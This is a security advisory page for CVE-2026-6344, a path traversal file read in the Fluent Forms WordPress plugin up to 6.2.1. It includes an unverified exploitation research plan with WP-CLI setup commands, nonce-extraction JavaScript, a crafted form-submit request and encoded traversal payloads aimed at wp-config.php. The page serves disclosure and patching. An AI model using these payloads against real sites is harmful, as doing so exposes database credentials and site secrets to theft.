CVE-2026-6344

Fluent Forms <= 6.2.1 - Authenticated (Administrator+) Arbitrary File Read via Path Traversal in Email Attachment

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
6.2.2
Patched in
1d
Time to patch

Description

The Fluent Forms plugin for WordPress is vulnerable to Arbitrary File Read in versions up to and including 6.2.1. This is due to insufficient path validation in the getAttachments() method of EmailNotificationActions, which resolves attacker-supplied file-upload URLs into filesystem paths without verifying that the resolved path stays inside the WordPress uploads directory: a strpos() prefix check on the raw URL can be bypassed with traversal sequences, wp_normalize_path() does not resolve ".\..\" segments, and file_exists() then resolves them at the kernel level. This makes it possible for authenticated attackers with administrator access to read arbitrary files readable by the web-server user — including wp-config.php with its database credentials and authentication salts — by submitting a form whose admin notification is configured to attach a file-upload field and supplying a crafted URL of the shape <upload_baseurl>/../../<target> as the file-field value. The resolved file is attached to the outbound admin-notification email via wp_mail(). While the email can be triggered by unauthenticated users, the email recipient is not user-controlled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=6.2.1
PublishedMay 5, 2026
Last updatedMay 6, 2026
Affected pluginfluentform

What Changed in the Fix

Changes introduced in v6.2.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-6344 ## 1. Vulnerability Summary The **Fluent Forms** plugin (versions <= 6.2.1) contains an arbitrary file read vulnerability. The vulnerability exists in the `getAttachments()` method of the `EmailNotificationActions` class. When a form is configured to att…

Show full research plan

Exploitation Research Plan - CVE-2026-6344

1. Vulnerability Summary

The Fluent Forms plugin (versions <= 6.2.1) contains an arbitrary file read vulnerability. The vulnerability exists in the getAttachments() method of the EmailNotificationActions class. When a form is configured to attach files from a "File Upload" field to an email notification, the plugin resolves the user-supplied URL for that field into a local filesystem path.

Because the plugin uses a weak strpos() check to ensure the URL belongs to the uploads directory and fails to properly resolve traversal sequences (like ../) before the path is passed to file_exists() and subsequently wp_mail(), an attacker (specifically an Administrator who can configure form notifications) can specify a crafted URL that resolves to any file readable by the web server (e.g., wp-config.php).

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/fluentform/v1/form-submit (Submission Handler)
  • Alternative Endpoint: admin-ajax.php?action=fluentform_submit (depending on configuration)
  • Vulnerable Parameter: The field name corresponding to the "File Upload" component (e.g., file_upload).
  • Authentication:
    • Setup: Authenticated (Administrator or user with fluentform_forms_manager capability) is required to configure the form notifications to include attachments.
    • Trigger: Unauthenticated (once the form is configured, any user submitting the form can trigger the attachment logic).
  • Preconditions:
    1. A form must exist with a "File Upload" field.
    2. An Email Notification must be enabled for that form.
    3. The notification must be configured to include the "File Upload" field as an attachment.

3. Code Flow

  1. Submission: A user submits a form via SubmissionHandlerController@submit.
  2. Notification Trigger: The plugin processes the submission and triggers defined actions, including EmailNotificationActions.
  3. Attachment Processing: EmailNotificationActions::getAttachments() iterates through configured attachments.
  4. URL to Path Resolution (The Sink):
    • It retrieves the value of the file upload field (a URL).
    • It checks if the URL starts with the Fluent Forms upload base URL using strpos($url, $upload_url) === 0.
    • If it matches, it replaces the URL base with the absolute filesystem path: $path = str_replace($upload_url, $upload_path, $url).
    • Traversal: If the URL is https://site.com/wp-content/uploads/fluentform/../../wp-config.php, the prefix check passes, and the resulting path becomes /var/www/html/wp-content/uploads/fluentform/../../wp-config.php.
  5. Exfiltration: The resolved path is added to the $attachments array and passed to wp_mail(), which reads the file and attaches it to the outbound email.

4. Nonce Acquisition Strategy

The form submission endpoint requires a nonce for security verification, typically localized in the fluent_forms_global_var object.

  1. Identify Form Page: Find a page where the target Fluent Form is embedded (or create one using [fluentform id='FORM_ID']).
  2. Browser Navigation: Use browser_navigate to load the page.
  3. Nonce Extraction:
    // Use browser_eval to extract the nonce
    const nonce = window.fluent_forms_global_var?.fluent_forms_admin_nonce || 
                  window.fluent_forms_global_var?.nonce;
    
  4. Action String: The nonce is usually generated for the action fluent_forms_admin_nonce or similar, depending on the version.

5. Exploitation Strategy

Step 1: Admin Setup (Form Configuration)

Use WP-CLI to create a form and configure the notification to ensure the environment is ready.

  1. Create a Form:
    wp eval "
    \$form_id = (new FluentForm\App\Models\Form)->insertGetId([
        'title' => 'Exploit Form',
        'form_fields' => json_encode([
            'fields' => [
                [
                    'element' => 'input_file',
                    'attributes' => ['name' => 'exploit_file', 'type' => 'file'],
                    'settings' => ['label' => 'File', 'admin_field_label' => 'exploit_file']
                ]
            ]
        ])
    ]);
    echo \$form_id;
    "
    
  2. Configure Notification:
    Enable an email notification that attaches the exploit_file field.
    wp eval "
    \$notification = [
        [
            'name' => 'Admin Notification',
            'enabled' => true,
            'sendTo' => ['type' => 'email', 'email' => '{wp.admin_email}'],
            'subject' => 'File Read Exploit',
            'message' => '{all_data}',
            'attachments' => ['exploit_file']
        ]
    ];
    FluentForm\App\Helpers\Helper::setFormMeta(FORM_ID_HERE, 'notifications', \$notification);
    "
    

Step 2: Trigger Exploit (Submission)

Submit the form with the traversal URL. We need to determine the base upload URL first.

  1. Determine Upload URL:
    Usually http://<domain>/wp-content/uploads/fluentform.
  2. Send Submission Request:
    POST /wp-json/fluentform/v1/form-submit
    Content-Type: application/x-www-form-urlencoded
    
    form_id=FORM_ID_HERE&
    _fluent_form_nonce=EXTRACTED_NONCE&
    exploit_file[]=http://localhost/wp-content/uploads/fluentform/../../../../wp-config.php
    
    Note: The field value might need to be an array or a specific JSON string depending on how the plugin stores multi-file uploads.

Step 3: Verification

Since the file is attached to an email, check the WordPress mail log or intercept wp_mail.

  1. Check Mail Log: Use wp-cli to check for any generated mail if a logging plugin is installed (e.g., wp mail-logging list).
  2. Alternative: Check the fluentform_submission_meta or logs to see if the attachment was processed.

6. Test Data Setup

  1. Target File: Ensure wp-config.php exists (standard).
  2. Shortcode Page: Create a page to extract the nonce.
    wp post create --post_type=page --post_title="Contact" --post_status=publish --post_content="[fluentform id='1']"
    
  3. SMTP: Configure a dummy SMTP or mail catcher (like MailHog) in the test environment to receive the attachment.

7. Expected Results

  • The form-submit request returns a 200 OK or 302 success message.
  • The server's mailer (e.g., wp_mail) is called with an attachment path pointing to /var/www/html/wp-config.php.
  • The received email contains wp-config.php as an attachment.

8. Verification Steps

  1. Intercept wp_mail:
    If no mail catcher is available, use WP-CLI to check the submission status:
    wp db query "SELECT * FROM wp_fluentform_submissions ORDER BY id DESC LIMIT 1;"
    
  2. Review Submission Meta:
    wp db query "SELECT * FROM wp_fluentform_submission_meta WHERE meta_key = 'exploit_file';"
    

9. Alternative Approaches

  • Bypassing Prefix Check: If strpos is strict, try using different protocol wrappers or port numbers if the plugin fails to normalize the host.
  • Local Path Injection: If the plugin accepts local paths directly in certain contexts (though unlikely here), try bypassing the URL check entirely by providing a path instead of a URL.
  • Encoded Traversal: Try .\..\ sequences as mentioned in the vulnerability description to bypass wp_normalize_path().
    • Payload: http://localhost/wp-content/uploads/fluentform/.\..\.\..\.\..\wp-config.php
Research Findings
Static analysis — not yet PoC-verified

Summary

The Fluent Forms plugin for WordPress is vulnerable to an arbitrary file read due to improper path validation in its email attachment logic. An administrator can configure a form to include user-supplied 'file upload' values as email attachments; because the plugin fails to properly resolve traversal sequences (like ../ or .\..\) before mapping URLs to filesystem paths, an attacker can exfiltrate sensitive files such as wp-config.php by submitting a crafted URL in a form submission.

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.1/app/Helpers/Helper.php	2026-04-01 13:33:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.2/app/Helpers/Helper.php	2026-04-23 12:58:12.000000000 +0000
@@ -1027,10 +1027,19 @@
                 if (ArrayHelper::isTrue($rawField, 'attributes.multiple')) {
                     $fieldType = 'multi_select';
                 }
-                $options = array_column(
-                    ArrayHelper::get($rawField, 'settings.advanced_options', []),
-                    'value'
-                );
+                $formattedOptions = ArrayHelper::get($rawField, 'settings.advanced_options', []);
+                if (!$formattedOptions) {
+                    $formattedOptions = [];
+                    foreach (ArrayHelper::get($rawField, 'options', []) as $value => $label) {
+                        $formattedOptions[] = [
+                            'label' => $label,
+                            'value' => $value,
+                        ];
+                    }
+                    // @todo : Update all reference in form templates
+                }
+
+                $options = array_column($formattedOptions, 'value');
                 
                 // Add field-specific __ff_other__ to options if "Other" option is enabled
                 if (in_array($fieldType, ['input_checkbox', 'input_radio']) &&
Only in /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.2/app/Http/Policies: GlobalIntegrationPolicy.php
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.1/app/Http/Routes/api.php /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.2/app/Http/Routes/api.php
--- /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.1/app/Http/Routes/api.php	2026-04-01 13:33:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.2/app/Http/Routes/api.php	2026-04-23 12:58:12.000000000 +0000
@@ -93,15 +93,15 @@
 /*
 * Global Integrations
 */
-$router->prefix('integrations')->withPolicy('FormPolicy')->group(function ($router) {
-    $router->get('/', 'GlobalIntegrationController@index');
-    $router->post('/', 'GlobalIntegrationController@updateIntegration');
-    $router->post('update-status', 'GlobalIntegrationController@updateModuleStatus');
+$router->prefix('integrations')->group(function ($router) {
+    $router->get('/', 'GlobalIntegrationController@index')->withPolicy('GlobalIntegrationPolicy');
+    $router->post('/', 'GlobalIntegrationController@updateIntegration')->withPolicy('GlobalIntegrationPolicy');
+    $router->post('update-status', 'GlobalIntegrationController@updateModuleStatus')->withPolicy('GlobalIntegrationPolicy');
     
     /*
     * Form Integrations
     */
-    $router->prefix('{form_id}')->group(function ($router) {
+    $router->prefix('{form_id}')->withPolicy('FormPolicy')->group(function ($router) {
         $router->get('/form-integrations', 'FormIntegrationController@index');
         $router->get('/', 'FormIntegrationController@find');
         $router->post('/', 'FormIntegrationController@update');
... (truncated)

Exploit Outline

The exploit requires an attacker with Administrator or 'fluentform_forms_manager' privileges to configure the vulnerability, though the final trigger can be unauthenticated. 1. **Configuration**: An attacker creates a form with a 'File Upload' field and enables an Email Notification. 2. **Attachment Setup**: In the notification settings, the attacker configures the plugin to attach the contents of the 'File Upload' field to the outgoing email. 3. **Payload Construction**: The attacker identifies the legitimate base upload URL (e.g., `wp-content/uploads/fluentform/`) and appends traversal sequences such as `../../wp-config.php` or `.\..\.\..\wp-config.php` to bypass basic prefix checks and sanitization like `wp_normalize_path()`. 4. **Triggering**: Any user (including an unauthenticated one) submits the form, providing the crafted URL as the value for the file upload field. 5. **Exfiltration**: The server-side code resolves the URL to a local path on the disk, verifies the file exists, and attaches it to the notification email sent by `wp_mail()`, allowing the attacker to receive sensitive files.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.